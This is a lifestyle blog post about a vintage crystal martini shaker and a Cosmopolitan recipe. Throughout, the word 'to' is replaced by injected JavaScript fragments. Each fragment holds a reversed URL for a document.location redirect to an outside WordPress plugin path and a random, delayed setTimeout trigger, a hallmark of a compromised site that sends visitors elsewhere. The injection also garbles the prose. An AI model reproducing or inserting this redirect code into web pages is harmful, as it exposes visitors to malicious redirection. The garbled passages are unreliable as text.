Treasures on Tuesday – Cosmopolitans – Diva in The City!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 311px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/TDnmUelyoQI/AAAAAAAAE_8/x6CN9Gl3iP8/s400/1930s+Martini+Shaker.jpg” border=”0″ />Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>This week’s “Treasures on Tuesday” is a seriously sexy vintage Val de Lambert Crystal Martini Shaker. Made by the exclusive European crystal house that I like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to call “the Belgian Baccarat”, this treasure is ideal for a “Girls Night In”, perfect for shaking up some Sex in The City inspired Cosmopolitans!

While the traditional Cosmo is made with Triple Sec, I prefer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it comme les français with Cointreau:

1 1/2 oz vodka
1 oz Cointreau
1/2 oz fresh lime juice
1/4 oz cranberry juice
Lime peel for garnish

  1. Shake, don’t stir, all the ingredients with ice in a crystal martini shaker.
  2. Strain intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a chilled martini glass – for fun you can rim the glass with sugar. A trick I learned from my friend, the author of She’s Shopping Now blog, is that you can make your sugar harden like pink candy on the glass rim by first dipping the glass intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Crème de Cassis before dipping intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sugar.
  3. Last, but not least, garnish with lime.
  4. Serve with a smile!

Cheers!

The Antiques Diva™

Shop online at “Treasures” by The Antiques Diva™ for this vintage martini shaker and other European treasures my team and I sourced throughout Holland, Belgium, France and Germany!